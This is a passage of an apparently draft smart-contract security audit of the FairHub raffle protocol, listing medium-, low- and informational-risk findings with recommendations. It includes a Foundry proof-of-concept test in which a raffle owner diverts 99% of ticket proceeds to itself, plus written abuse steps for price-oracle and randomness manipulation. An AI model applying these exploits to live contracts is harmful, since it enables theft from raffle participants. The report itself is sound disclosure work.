Description: On creation, the `FairHub` sets the beneficiary of the Yolo Raffle as 100% for the created `assetVault`. The intention of this is that the winner gets the payments for the tickets. However, `FairHub` also sets the `msg.sender` as the owner of the raffle which allows them to call `updateBeneficiaries` + `setBeneficiaries` up until the time the raffle is closed.

Impact: While an owner cannot zero out the `assetVault` share, they can frontrun a call to `close` with a call to `updateBeneficiaries` to set the `assetVault` at 1 share and then call `setBeneficiaries` to set themselves at 99. Then anyone calls `close` and `finish` and the owner takes 99% of the tickets prices, leaving the actual winner with just 1%.

Likelihood: Yolo Raffle creators are permissioned, so generally considered "trusted" actors. So low likelihood. However, any malicious or compromised permissioned address could potentially exploit this and therefore this should be monitored.

Proof of concept:

```
function test_ownerStealsYoloWinnings() public {
    vm.startPrank(owner);
    contract_FairHub.createYoloRaffle(
        1 ether,
        DataTypes.TokenType.Native,
        address(0)
    );
    Raffle contract_yoloRaffle = Raffle(contract_FairHub.getYoloRaffleAddress(1));
    vm.stopPrank();

    vm.deal(user2, 1 ether);
    vm.startPrank(user2);
    contract_yoloRaffle.enter{value: 1 ether}(user2, 1);
    vm.stopPrank();

    vm.warp(block.timestamp + contract_FairHub.getYoloRaffleDuration());

    address[] memory _beneficiaries = new address[](1);
    address assetVault = contract_yoloRaffle.beneficiaries(0);
    assertEq(assetVault, 0xe99F8f7a2747935C65A65a0eE0d223bD06F1cDB7);
    _beneficiaries[0] = owner;
    uint256[] memory _shares = new uint256[](1);
    _shares[0] = 99;
    vm.startPrank(owner);
    contract_yoloRaffle.updateBeneficiary(assetVault, 1);
    contract_yoloRaffle.setBeneficiaries(_beneficiaries, _shares);
    vm.stopPrank();
    vm.startPrank(user2);
    contract_yoloRaffle.close();
    bytes32 requestId = contract_yoloRaffle.requestId();
    // struct WinnerReponse {
    //     uint256 totalEntries;
    //     uint256 totalWinners;
    //     uint256[] winnerIndexes;
    //     bool isFinished;
    // }
    DataTypes.WinnerReponse memory response;
    response.totalEntries = 1;
    response.totalWinners = 1;
    response.winnerIndexes = new uint256[](1);
    response.winnerIndexes[0] = 0;
    response.isFinished = true;
    vm.mockCall(
        address(contract_WinnerAirnode),
        abi.encodeWithSelector(contract_WinnerAirnode.requestResults.selector, requestId),
        abi.encode(response)
    );
```

DRAFT

```
    contract_yoloRaffle.finish();
    vm.stopPrank();

    uint256 treasuryCut = 50000000000000000;
    uint256 totalOwnerCut = 1 ether - treasuryCut;
    uint256 vaultCut = totalOwnerCut * 1 / 100;
    uint256 ownerCut = totalOwnerCut * 99 / 100;

    vm.prank(user2);
    AssetVault(payable(assetVault)).enableWithdraw();

    vm.prank(user2);
    AssetVault(payable(assetVault)).withdrawNative(user2, vaultCut);

    assertEq(address(user2).balance, vaultCut);
    assertEq(owner, contract_FairHub.getTreasury());
    assertEq(address(owner).balance, treasuryCut + ownerCut);
}
```

Recommendation: Consider, not allowing the `owner` of Yolo Contracts the ability to update beneficiaries and carefully monitor permissioned actors.

3.3.7 Beneficiary split is imprecise leading to possible misallocation of funds

Severity: Medium Risk

Context: AssetVault.sol#L147

Description: Using 0-100 as the percentages creates a loss of precision.

Impact:

- Scenario 1: 3 beneficiaries that are supposed to share the profits of a 100 ETH raffle equally. Result: the last beneficiary will receive 1 ETH extra as opposed to them splitting 0.33333333 etc ETH.
- Scenario 2: 3 beneficiaries are supposed to split (1%, 33%, 66%) the profits of a 10 ETH auction. Beneficiary 1 receives 0 ETH. Beneficiary 2 receives 3 ETH. Beneficiary 3 receives 7 ETH.

DRAFT

Likelihood: It is unclear how likely there will be multiple beneficiaries, but the code suggests it should be a handled case.

Recommendation: Increase the precision of the percentages, ideally to 10^{18} since that is likely to be the most common decimal so the rounding is only 1 wei.

3.3.8 `callApprove` will revert for tokens that do not allow zero approvals

Severity: Medium Risk

Context: Raffle.sol#L676-L680, Raffle.sol#L918-L923

Description: There are two places where approvals are granted in the Raffle contract:

- Inside the `cancel()` function to enable the returning of tokens required to purchase tickets for all the Raffle participants.
- Inside the `close()` function to enable the withdrawal of ticket tokens to all the beneficiaries.

If the `ticketPrice` for the Raffle is zero, buying an entry into a Raffle requires no deposits for entrance. In this case, for both of the approvals stated above the total amount deposited will be zero, i.e. `token.balanceOf(ticketsVaultAddress) == 0`.

```
// Raffle.sol
ticketVault.callApprove(
    address(token),
    vFactory.getDistributor(),
        token.balanceOf(ticketsVaultAddress) // <<<
);
```

```
// AssetVault.sol
function callApprove (
    address token,
    address spender,
    uint256 amount
) external override onlyOwner onlyWithdrawDisabled nonReentrant {
    IERC20 tokenContract = IERC20(token);

    // Validate Vault balance.
    if (
        amount > tokenContract.balanceOf(address(this))
    ) revert Errors.InsufficientBalance();

    // Do approval
    tokenContract.safeApprove( // <<<
        spender,
        amount
    );

    emit Events.ApprovedVault(
        msg.sender,
        address(this),
        spender,
        amount
    );
}
```

However, calling `approve(..., 0)` will always revert for tokens that do not allow zero approvals. The most prominent example is BNB:

```
function approve(address _spender, uint256 _value)
    returns (bool success) {
    if (_value <= 0) throw;
    allowance[msg.sender][_spender] = _value;
    return true;
}
```

This makes the `cancel()` and `close()` functions revert for such tokens.

Impact: Low as issue can be resolved by sending 1 wei of token to the tickets `AssetVault`.

Likelihood: Medium/high as BNB is a pretty popular token on the Ethereum mainnet.

Recommendation: Only grant approvals if the balance of the token inside the tickets vault is greater than zero.

```
- ticketVault.callApprove(
-     address(token),
-     vFactory.getDistributor(),
-     token.balanceOf(ticketsVaultAddress)
- );
+ uint256 balance = token.balanceOf(ticketsVaultAddress);
+ if (balance != 0) {
+     ticketVault.callApprove(
+         address(token),
+         vFactory.getDistributor(),
+         token.balanceOf(ticketsVaultAddress)
+     );
+ }
```

DRAFT

3.3.9 Token decimal precision can lead to incorrect pricing

Severity: Medium Risk

Context: Raffle.sol#L491-L498, Raffle.sol#L617-L634

Description: A user creating an ERC20 raffle must match their `ticketPrice` and `requiredBalance` to the decimal precision of the ERC20 token. This is true for dApi tokens as well. According to the docs, dApis return the `value` with 18 decimal precision. For their price to be calculated correctly, the ticketPrice must be in the ERC20 token precision not 18 decimal precision like the dApi.

Impact: Failing to do this could attempt to overcharge a user, likely causing a revert. For example, assume a raffle owner attempts to set the ticket price for their raffle using a UI that is hard coded to use 18 decimals. If that owner tries to set the price at 1 USDC, the current code would attempt charge entrants 1,000,000,000,000 USDC instead of 1 USDC per ticket.

Likelihood: As there is no validation in contract for "sane" prices or required balances, it is up to the UI to implement the conversion of user-friendly values into the appropriate data on raffle creation. As the current code does not document the precision for either of these data,and the current UI shared allows the user to select from a drop down that includes USDC, it seems possible/likely for there to be a bug on implementation.

Recommendation: Ensure UI implementations properly account for decimal precision with proper review and improved documentation. You could also consider deciding that all internal data related to token amounts would always be in 18 decimal precision and then convert that to the proper token decimal precision when calling approve and transfer functions.

3.3.10 WinnerAirnode owner can manipulate raffle results by calling the `setrequestparameters()` function

Severity: Medium Risk

Context: AirnodeLogic.sol#L101

Description: The `setRequestParameters()` function is used to set the different parameters needed to interact with the Airnode protocol:

```
/**
* @notice Sets parameters used in requesting the Airnode protocol.
*
* @param _airnode - The address for the airnode.
* @param _derivedAddress - The derived address to sponsor.
* @param _sponsorAddress - The actual sponsorer address.
*/
function setRequestParameters (
    address _airnode,
    address _derivedAddress,
    address _sponsorAddress
) external onlyOwner {
    // Check if the given addresses are valid.
    if (
        _airnode == address(0) ||
        _derivedAddress == address(0) ||
        _sponsorAddress == address(0)
    ) revert Errors.ZeroAddress();

    // Set the airnode parameters.
    airnode = _airnode;
    derivedAddress = _derivedAddress;
    sponsorAddress = _sponsorAddress;

    // Emit the event.
    emit Events.SetRequestParameters(
        _airnode,
        _derivedAddress,
        _sponsorAddress
    );
}
```

The parameters of this function are:

DRAFT

1. `_airnode` is the Airnode address that will be called to get the QRNG data via its endpoints. This is not the `AirnodeRrpV0` contract address.
2. `_derivedAddress`: The Airnode owner announces the extended public key (xpub of the hardened derivation path m/44'/60'/0') off-chain. Then a sponsor derives a sponsor wallet for the Airnode using the xpub and airnodeAddress. The sponsor wallet will then be used by the Airnode to fulfill requests made by the sponsor's contracts. See documentation.
3. `_sponsorAddress` is a public address of an account from a mnemonic, usually the default account. Rather than the default account another account from the mnemonic can be used. The sponsorAddress is used to uniquely identify a sponsor.

The `_airnode` parameter is validated in the `AirnodeRrpV0` contract every time `fulfill()` is called:

```
function fulfill(
    bytes32 requestId,
    address airnode,
    address fulfillAddress,
    bytes4 fulfillFunctionId,
    bytes calldata data,
    bytes calldata signature
) external override returns (bool callSuccess, bytes memory callData) {
    require(
        keccak256(
            abi.encodePacked(
                airnode,
                msg.sender,
                fulfillAddress,
                fulfillFunctionId
            )
        ) == requestIdToFulfillmentParameters[requestId],
        "Invalid request fulfillment"
    );
    require(
        (
            keccak256(abi.encodePacked(requestId, data))
                .toEthSignedMessageHash()
        ).recover(signature) == airnode, // <<<
        "Invalid signature"
    );
    delete requestIdToFulfillmentParameters[requestId];
    (callSuccess, callData) = fulfillAddress.call( // solhint-disable-line avoid-low-level-calls
        abi.encodeWithSelector(fulfillFunctionId, requestId, data)
    );
    if (callSuccess) {
        emit FulfilledRequest(airnode, requestId, data);
    } else {
        // We do not bubble up the revert string from `callData`
        emit FailedRequest(
            airnode,
            requestId,
            "Fulfillment failed unexpectedly"
        );
    }
}
```

DRAFT

The signature sent when `fulfill()` is called belongs to the `_airnode` address set. This address should be always a trusted address. Consequently, this address should be hardcoded to `0x9d3C147cA16DB954873A498e0af5852AB39139f2`, which belongs to Australian National University, see QRNG Providers documentation.

If the owner of the `WinnerAirnode` contract sets the `airnode` address to one they control, they could manipulate the generation of random numbers and call `fulfill()` with their own signature, guaranteeing winning the rewards of all the different Raffles.

Impact: High as all the Raffles could be manipulated.

Likelihood: Low as this only occurs if the owner of the `WinnerAirnode` contract is malicious or the private key is compromised.

Recommendation: To guarantee the protocol integrity it is essential that the airnode address fulfilling all the QRNG requests is a well trusted entity. Consider declaring the airnode address as a constant (`0x9d3C147cA16DB954873A498e0af5852AB39139f2`) in the `WinnerAirnode` contract.

3.3.11 `_getcurrentPrice()` function returns a wrong default value

Severity: Medium Risk

Context: Raffle.sol#L491-L495, Raffle.sol#L245-L251

Description: The function `_getCurrentPrice()` is used to calculate the price for DApi currency Raffles:

```
if (
    currency == DataTypes.TokenType.dApi
) {
    // Get the current price from the DAPI.
    uint256 currentPrice = _getCurrentPrice(); // <<<
    // Calculate the amount given a fixed ticket price.
    uint256 pricePerTicket = Math.mulDiv(
        ticketPrice,
        1e18, // <<<
        currentPrice
    );
    totalAmount = pricePerTicket * _amount;
}
```

```
function _getCurrentPrice ()
 internal view returns (
    uint256 price
) {
    IFairHub fairHubInstance = IFairHub(fairHub);
    uint256 value = IDApiManager(
        fairHubInstance.getDApiManager()
    ).readDApi(
        fairHubInstance.getRaffleToken(
            address(this)
        )
    );
    // Safe check against zero price.
    if (
        value == 0
    ) {
        // Return a default value (1 WEI) which will be fraction
        // of cents.
        value = 1; // <<<
    }
    // Return the value.
    return value;
}
```

DRAFT

However, the default value in case of a zero price is 1. This is wrong as the price was previously multiplied by 1e18. To keep the price unaltered the value returned should be 10^{18}.

Impact: High as the price of the tokens will be increased by 1e18 in case of a 0 price returned by the DApi contract for that currency token.

Likelihood: Low as this only occurs if the price returned by the DApi contract for that currency token is 0.

Recommendation: In the `_getCurrentPrice()` function return 1e18 instead of 1 if the `value` returned from the DApi contract for that currency token is 0.

3.3.12 DApiManager owner can purchase entries from raffles which currency is set as dapi at no cost

Severity: Medium Risk

Context: Raffle.sol#L485-L497, Raffle.sol#L232-L254

Description: When users buy entries from a Raffle which currency is set as dApi the price is calculated in the `Raffle.open()` function through the `_getCurrentPrice()` function as:

```
if (
    currency == DataTypes.TokenType.dApi
) {
    // Get the current price from the DAPI.
    uint256 currentPrice = _getCurrentPrice(); // <<<
    // Calculate the amount given a fixed ticket price.
    uint256 pricePerTicket = Math.mulDiv(
        ticketPrice,
        1e18,
        currentPrice
    );
    totalAmount = pricePerTicket * _amount;
}
```

```
function _getCurrentPrice ()
 internal view returns (
    uint256 price
) {
    IFairHub fairHubInstance = IFairHub(fairHub);
    uint256 value = IDApiManager(
        fairHubInstance.getDApiManager()
    ).readDApi(
        fairHubInstance.getRaffleToken(
            address(this)
        )
    );
    // Safe check against zero price.
    if (
        value == 0
    ) {
        // Return a default value (1 WEI) which will be fraction
        // of cents.
        value = 1;
    }
    // Return the value.
    return value;
}
```

This can be abused by the DApiManager owner to purchase entries at no cost by:

1. Calling `DApiManager.setDApi(ERC20 Raffle payment token, newDApiManager contract)` This newDApiManager contract will return in its `read()` function a very high value.
2. Calling `enter()` to buy entries at basically no cost as the `ticketPrice` will be divided by this very high value retrieved from the newDApiManager contract.
3. Recalling `DApiManager.setDApi(ERC20 Raffle payment token, oldDApiManager contract)`. This oldDApiManager contract returns in its 'read()' function the previous value.

Impact: High as entries can be purchased at no cost from all Dapi Raffles.

Likelihood: Low as it can only be exploited by the DApiManager owner.

Recommendation:

1. Save for every dApi Raffle a new field called `DApiManager`. This field will contain the address of the `DApiManager` that should be used to calculate the price.
2. Ensure that the underlying contract where the `read()` function is implemented is not a proxy that can be upgraded with a new implementation and hence change the way in which the prices are calculated.

DRAFT

3.3.13 Raffle beneficiaries can DoS the completion of the raffle

Severity: Medium Risk

Context: Raffle.sol#L809-L825

Description: When the `Raffle.finish()` function is called to update the winners with the results received from Airnode, the assets paid by the participants for the entries are sent to the Raffle beneficiaries:

```
// ...
if (
    beneficiaries.length > 0
) {
    (
        uint256[] memory _percentages,
        address payable[] memory _payableReceivers,
        address[] memory _normalRecievers
    ) = _handleBeneficiariesWithdraw();

    ticketVault.batchPercentageWithdraw(
        _payableReceivers,
        _normalRecievers,
        _percentages,
        currency,
        token
    );
} else {
    if (
        currency == DataTypes.TokenType.ERC20 ||
        currency == DataTypes.TokenType.dApi
    ) {
        ticketVault.withdrawERC20(
            token,
            creatorAddress,
            availableVault
        );
    } else {
        ticketVault.withdrawNative(
            creatorAddress,
            availableVault
        );
    }
}
// ...
```

DRAFT

```
/**
 * @dev See { IAssetVault-withdrawERC20 }.
 */
function withdrawERC20 (
    address token,
    address to,
    uint256 amount
) external override onlyOwner onlyWithdrawEnabled nonReentrant {
    IERC20 tokenInstance = IERC20(token);
    uint256 balance = tokenInstance.balanceOf(address(this));

    // Validations
    if (
        (amount > balance) &&
        amount > tokenInstance.allowance(
            address(this),
            IVaultFactory(
                vaultFactoryAddress
            ).getDistributor()
        )
    ) revert Errors.InsufficientBalanceOrAllowance();
    // Execute the withdraw.
    tokenInstance.safeTransfer(to, amount);
    // Emit event.
    emit Events.WithdrawERC20(
        msg.sender,
        token,
        to,
        balance
    );
}
```

```
/**
 * @dev See { IAssetVault-withdrawNative }.
 */
function withdrawNative (
    address to,
    uint256 amount
) external override onlyOwner onlyWithdrawEnabled nonReentrant {
    // Validations.
    if (
        amount > address(this).balance
    ) revert Errors.InsufficientBalance();
    // Execute the withdraw.
    payable(to).sendValue(amount);
    // Emit event.
    emit Events.WithdrawNative(
        msg.sender,
        to,
        amount
    );
}
```

As can be seen in the code above:

1. In case of a Raffle with tickets bought with Native assets, `withdrawNative()` sends the native assets to the different beneficiaries through a `sendValue()` call. If any of the beneficiaries is a smart contract without a receive function the transaction will revert.
2. In case of a Raffle with tickets bought with ERC20 assets, `withdrawNative()` sends the tokens through a `safeTransfer()` call. If the tokens are ERC20 tokens with transfer on hooks it's possible that one of the beneficiaries place a revert on the receiver hook forcing the whole transaction to revert.

Impact: High as it causes a Denial of Service in the protocol leaving the winners with no rewards and Raffle creators without their payment.

Likelihood: Low as one of the beneficiaries would have to be a smart contract without a `receive()` function or manually place a revert in a token receiver hook.

Recommendation: It is recommended to:

1. If `sendValue()` fails to send the Ether, wrap the Ether and send it to the same beneficiary address as Wrapped Ether.
2. Use a try/catch block to perform the ERC20 transfer to the different beneficiaries.

3.4 Low Risk

3.4.1 Having two access schemes in fairhub is likely to cause confusion and can be simplified

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: You have stated your goal is to migrate to and use the ACL modules for Fairhub. However, there is lingering `ownerAddress` code in Fairhub including external interfaces used by `Raffle.sol`. This can cause confusion for integrators (should they be looking at `ownerAddress` or a role in ACL?) and may result in setup or management problems (i.e. setting a role in ACL that really needs to be set in `ownerAddress`).

Recommendation: Consider removing the `owner` aspects for Fairhub and use the ACL scheme. At a minimum, if you still need a public getter for an owner address (i.e. for Raffle.forceRecover), update the Fairhub modifier so permission to set that is controlled by ACL not by that address itself.

DRAFT

3.4.2 Raffles created with a zero requiredBalance and with a short duration could be manipulated by block stuffing optimism

Severity: Low Risk

Context: Raffle.sol#L598-L605

Description: Raffles created with a zero `requiredBalance` can only be closed once the `expectedEndTime` is reached. Let's imagine that a Raffle of just 10 minutes duration is created. Under this scenario:

1. A malicious user purchases 1 entry for the Raffle.
2. This user starts block stuffing Optimism, denying other transactions for 10 minutes.
3. After 10 minutes this user calls `close()`.
4. As he was the only participant of the Raffle he is guaranteed to be the winner.

Blocks in optimism are mined every 2 seconds. The block gas limit of optimism is 30M as in Ethereum mainnet. At the time of writing this, the cost of stuffing a single block on Optimism is around 11.32$.

In 10 minutes the attacker would have to stuff 300 blocks which would cost 300 * 11.32 = 3396$. If the NFT given as a reward is valuable enough this attack vector becomes totally plausible.

Impact: High as the Raffle results can be unfairly manipulated.

Likelihood: Low as it requires to block stuff Optimism for the whole duration of the Raffle.

Recommendation: It is recommended to enforce a minimum time duration for all the Raffles of, for example, 24 hours.

3.4.3 `requiredAmount` changes definition depending on the raffle potentially causing confusion and errors

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: For ERC20 and Native Raffles, the `requiredAmount` parameter is the minimum balance required before the raffle can be closed. However, for dApi Raffles the goal post moves based on the `currentPrice` (i.e. if the token price moves up, the Raffle will close earlier because `requiredAmount` is less). This could cause confusion for Raffle creators who need to think about ERC20 Raffles differently than dApi Raffles and for users who will not be able to predict when an auction ends or how many tickets will be required to close it.

Recommendation: Likely, unless there is a special feature requiring it, the check in `Raffle.close` should be the same for ERC20 and dApi tokens (i.e. `token.balanceOf(ticketsVaultAddress) < requiredBalance`).

3.4.4 Lack of a two-step transfer ownership pattern

Severity: Low Risk

Context: VaultFactory.sol, VaultDepositRouter.sol, AssetVault.sol, DApiManager.sol, Raffle.sol, WinnerAirnode.sol

Description: The ownership transfer process for all the contracts using the Ownable/OwnableUpgradeable library involves the current owner calling the `transferOwnership()` function. If the nominated EOA account is not a valid account, it is possible that the owner may accidentally transfer ownership to an uncontrolled account thereby losing access to all functions with the onlyOwner modifier.

Impact: Medium as all the onlyOwner functions may become unusable.

Likelihood: Very low as it requires the owner to make a mistake.

Recommendation: It is recommended to implement a two-step ownership transfer where the owner nominates a new owner and the nominated account explicitly accepts ownership. This ensures the nominated EOA account is a valid and active account. This can be achieved by using an implementation similar to the OpenZeppelin's Ownable2Step library.

DRAFT

3.4.5 Initialize state of inherited contract

Severity: Low Risk

Context: AssetVault.sol#L95

Description: The `initialize` function should invoke the init functions of all the inherited contracts.

Recommendation: Invoke `__ERC721Holder_init()` inside the `initialize` function.

3.4.6 `addnewEndpoint` function allows to add duplicates in the `endpointsIds` array

Severity: Low Risk

Context: AirnodeLogic.sol#L119-L153

Description: `AirnodeLogic.addNewEndpoint` function is used to add new endpoints to the `endpointsIds` array. It uses a mapping to track data and avoid having duplicates inside the `endpointsIds` array. The element of the `endpointsIds` array is the following:

```
struct Endpoint {
    bytes32 endpointId;
    bytes4 functionSelector;
}
```

Each new `Endpoint` added to the array writes an entry inside the `mapping(bytes4 => uint256) public callbackToIndex` with the corresponding function selector and array index to avoid duplicates. However, the check for duplicates is incomplete. The first endpoint added will always have the index inside the array equal to zero, which makes:

```
// Check if the endpoint already exists.
if (callbackToIndex[_endpointSelector] != 0) {
    revert Errors.EndpointAlreadyExists();
}
```

The above check to pass and allows to add the first element again.

Recommendation: Instead of storing the array index as a value for the `callbackToIndex` mapping, consider storing the length of the array. By doing so the first element added would point to the value equal to 1. Implement needed changes in the `_beforeFullfilment` function when the index is accessed.

3.4.7 It is not possible to remove a beneficiary

Severity: Low Risk

Context: Raffle.sol#L360-L362

Description: Because it is impossible to set a beneficiary to 0%, it would be impossible to remove a compromised or lost beneficiary. At most a beneficiary could be reduced to 1%.

Recommendation: Consider allowing the shares to be set to 0 or add a `removeBeneficiary` function that can be called by managers to allow removing a beneficiary.

3.4.8 Fairhub addresses can be set to zero

Severity: Low Risk

Context: FairHub.sol#L285-L307

Description: While other setters ensure that the new address is not `address(0)`, these three functions do not include the same protection.

- `VaultFactoryAddress` or `DepositRouterAddress` being `address(0)` would stop `Raffle.open` from working for all Raffles.
- `DApiManagerAddress` would stop `Raffle.enter` and `.close` for those `TokenTypes`.

Recommendation: Add `address(0)` checks to these functions and consider if they should be included in the `initialization`.

DRAFT

3.4.9 `fairhub.treasury` could be `address(0)` resulting in loss of (treasurycut) funds

Severity: Low Risk

Context: FairHub.sol#L51-L73

Description: Because the treasury address is not part of the initialization of the `FairHub` it is possible that it would remain `address(0)` even after the cancellation fee, Raffle Cut and Yolo Raffle Cut are set. This would result in sending funds to `address(0)` on Raffle `finish` or `cancel`.

Recommendation: Add `treasuryAddress` to the `FairHub.initialization` and/or add a check in Raffle that ensures the retreived address is not `address(0)`.

3.4.10 Owners of raffles can be set to `address(0)`

Severity: Low Risk

Context: Raffle.sol#L261-L263

Description: OpenZeppelin's `Ownable` contract includes a `renounceOwnership` function:

```
function renounceOwnership() public virtual onlyOwner {
    _transferOwnership(address(0));
}
```

This bypasses the no address(0) protection in `Raffle.transferOwnership`.

Recommendation: Implement a `noop` version of `renounceOwnership` to prevent it from being set to `address(0)`.

3.4.11 Too many `payers` can result in `enter` and `cancel` being blocked

Severity: Low Risk

Context: Raffle.sol#L548-L576, Raffle.sol#L896-L910

DRAFT

Description: Both `enter` and `cancel` iterate over the `payersAddresses`. If this array gets too large such that an interation over it runs out of gas, these functions will be blocked. At that point, the only recourse will be to use `forceRecover` to return funds.

This could be especially problematic because after looping through payers in `cancel` and putting them into amounts and either receivers or payableReceivers that array is passed to `AsserVault.batchAmountWithdraw`. If it is the native token that then:

1. Loops through amounts to calculate `totalAmount`.
2. Distributor loops through amounts/recipients again If it is ERC20 or dAPi.
3. Loops through amounts to calculate `totalAmount`.
4. Calls `distributor.distributeTokens`.
5. `distributeTokens` loops through amounts again to calculate the total.
6. Then `distributeTokens` loops through amounts to `safeTransfer` to each address.

So in the best case, cancelling loops the payers array 2 times. In the worst case, it loops through 4 times.

Recommendation: Avoid looping in `enter`:

```
// Save the senders in the raffle storage.
if (
    totalAmount > 0
) {
    bool payerFound = false;
    for (
        uint256 i;
        i < payersAddresses.length;
        i++
    ) {
        // Check whether there's an existing payer entry already.
        if (
            payersAddresses[i] == sender
        ) {
            payers[sender] += totalAmount;
            payerFound = true;
            break;
        }
    }
    if (
        !payerFound
    ) {
        // If no payer found, create a new entry.
        payers[sender] = totalAmount;
        payersAddresses.push(
            sender
        );
    }
}
```

can become

```
if (totalAmount > 0 && payers[sender] == 0) {
    payersAddresses.push(sender);
}
payers[sender] += totalAmount;
```

For the cancel situation:

- Consider if it is worth it to have a cancel option that accepts an array of indexes for payers to be processed in batches or if `forceRecover` is sufficient.
- Or using the balances of payers, there could be functionality that allows the payers retrieve what they are owed instead of pushing it to them.

3.4.12 The number of winners of a raffle should be limited

Severity: Low Risk

Context: FairHub.sol#L438

Description: When a Raffle is created in the `FairHub.createRaffle()` function the creator decides the amount of different winners that the Raffle will have:

```
function createRaffle (
    uint256 startTime,
    uint256 expectedEndTime,
    uint256 winnerNumber,
    uint256 ticketPrice,
    uint256 requiredBalance,
    DataTypes.Multihash memory metadata,
    DataTypes.TokenType currency,
    address tokenAddress
) external whenNotPaused {
```

However the `winnerNumber` parameter is not limited and can be set to any value. 1 random number is needed per winner and as a result if a Raffle is created with a `winnerNumber` parameter set to 500, Airnode QRNG will have to provide 500 random numbers to correctly fullfil the request. Currently, the Airnode endpoints are limited to generate a maximum of 512 random numbers.

Impact: Low as Raffles created with a high number of winners will not be completed but still can be completed manually with a `cancel()` or `forceRecover()` call from an admin.

DRAFT

Likelihood: Medium as it does not make sense to create Raffles with an excessively large amount of winners.

Recommendation: Consider limiting the amount of different winners allowed per Raffle to a fixed value, for example, 10.

3.5 Informational

3.5.1 Sequencer or network congestion could affect raffles

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: Unlike Ethereum L1, the Optimism L2 and other L2s face the potential of either sequencer downtime or network outages. This could cause undesirable results for Raffles by artificially depressing entries and Raffles that have `requiredBalance = 0` would be especially vulnerable since their `close` is completely time dependent.

Recommendation: Monitor L2 network statuses and ensure appropriate steps are taken to provide for system stability in the event of an outage, for instance, if there is a scheduled outage, notify users in the UI and consider blocking them from creating short running Raffles around that time with 0 `requiredBalance`.

3.5.2 Weird ERC20 token behaviours

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: As raffles can be created in a permissionless manner, the creators are free to specify the currency for buying tickets as any ERC20 they choose. Using malicious ERC20 can make the Raffle unfunctional, participants might not receive the intended rewards, etc...

On the other hand, even if the ERC20 is malicious there is no attack vector to drain other assets from users wallets or affect other Raffles. There are well-known behaviors of ERC20 tokens that may be surprising or unexpected. These are documented here.

Recommendation: Here are a few recommendations based on some of the behaviors:

- Fee on Transfer: These types of tokens are not compatible with your current contracts. One example is the `Distributor.distributeTokens()` function which would revert due to the total amount not being equal to the sum of individual transfers due to the fee on transfer. We discourage using tokens with these characteristics.
- Balance Modifications Outside of Transfers (rebasing/airdrops): Best to avoid similar to Fee-on-Transfer tokens.
- Upgradeability: There are a few very popular tokes with such characteristics, e.g. USDT, USDT, etc... You are safe to accept these but reject others.
- Pausability: Similar to upgradeable tokens there are quite a few very popular ones with these characteristics. We advise to accept the popular ones while rejecting others.
- Revert on Zero Value Transfers: In the `Raffle.finish()` function it is possible that the amount to transfer to one of the beneficiaries rounds down to zero. If this happens while using an ERC20 token that reverts on zero-value transfers, it would cause a denial of service. We recommend avoiding such tokens, and alternatively handling such cases in the code, e.g. only try transfering amounts different than zero.

Other specific token behaviors were discussed as a part of other issues and won't be repeated here. Our recommendation is not to show any Raffles that are created but would fit in the above-described criteria in your user interface to discourage their use.

DRAFT

3.5.3 Irrelevant parameter for `invalidProxyAddress`

Severity: Informational

Context: Errors.sol#L17-L19, FairHub.sol#L57, VaultDepositRouter.sol#L71

Description: The `Errors.InvalidProxyAddress` custom error currently takes an `address` parameter. However, the only condition that ever triggers the error is that the address is `address(0)`.

Recommendation: Remove the unneeded Error parameter making the code cleaner and listening for errors/events easier.

3.5.4 Missing parameter validation for vaultLogic

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: In other places of the code including in the `initialize` function for the `vaultLogic` address there are validations for the parameters passed to setter functions.

Recommendation: Implement checks like for `setDistributor` for `upgradeVault`.

3.5.5 Inadequate testing strategies

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: While, a detailed review of the testing suite is out of scope of this audit, it is clear from the findings of this audit and an initial review of testing that the test suite needs to be improved.

The current test suite uses Hardhat Typescript-based behavior testing. It seems that for the most part the current tests focus on a sub-set of "Happy Path" behaviors. Many of the Findings discovered during the security review involve untested edge-case "Happy Path" interactions or "Sad Path" failures that are not caught by the code. An example of an untested "Happy Path" would be allowing owners of Raffles to transfer ownership but then allocating any remnants to the `creatorAddress` resulting in Yolo Raffles could result in loss of funds. An example of an untested failure case is not testing what happens when a Raffle reaches its `expectedEndTime`, has entrants but has not met its `requiredBalance` resulting in Non-zero requiredBalance Raffles could be extended indefinitely as they depend on an owner call and requiredBalance to be closed.

Recommendation: Behavior oriented testing from Typescript falls into the broad category of Integration testing. However, this is only one of the recommended approaches to testing smart contracts. The Ethereum Foundation has published a guide to the different testing approaches. One example of some of these testing best practices can be found in the following repository.

At a minimum, adding Unit tests to ensure each logic path and error for each function would increase the robustness of the test suite. Additionally more advanced testing such as Property-based testing can go further to ensure code correctness.

Testing will not only enable your team to find bugs in the current code, but also ensure correctness and that there are no regressions when running Upgrades on contracts - an especially important safety feature to have in place. Adding a code coverage tool such as solidity-coverage can help the team identify parts of code that do not have sufficient coverage, though they do not necessarily speak to the robustness of the tests covering each piece of code.

Another area where the team should consider adding robust testing is around the deployment, setup and upgrade scripts (`/tasks`). These critical pieces of code currently appear to be untested.

Layering multiple security tools is the best approach as no one method (behavior testing, unit testing, code coverage analysis, property-based testing, external security reviews etc) can guarantee safety and correctness.

DRAFT

3.5.6 Unnecessary `__gap` variable for non-upgradeable contracts

Severity: Informational

Context: AirnodeLogic.sol#L256-L262

Description: `WinnerAirnode` which inherits `AirnodeLogic` is not upgradeable so it is incorrect and unnecessary to include a storage `__gap`.

Recommendation: Remove from this this contract.

3.5.7 Incorrect documentation

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: The `requiredBalance` is never referenced in `canceling` a raffle. It is only used to determine if the Raffle can be entered or closed. **Recommendation:** Update the documentation to reflect the implementation.

3.5.8 Use `msg.sender` instead of `_sender` parameter

Severity: Informational

Context: Distributor.sol#L40, Distributor.sol#L81

Description: The distributor contract's function take a `_sender` parameter. However, in every instance where the `AssetVault` calls it, it passes in ‘address(this).

Recommendation: Replace the parameter with `msg.sender` or `_msgSender()` to simplify the interface.

3.5.9 Unnecessary casting from address and back to address for `token` in `raffle.open`

Severity: Informational

Context: Raffle.sol#L512-L519

Description: The ERC20 token is unnecessarily cast to `IERC20` and then recast back to `address`.

Recommendation: Use:

```
address token = fairHubInstance.getRaffleToken(address(this));
```

3.5.10 Use `totalparticipants` rather than `.length`

Severity: Informational

Context: Raffle.sol#L658-L664

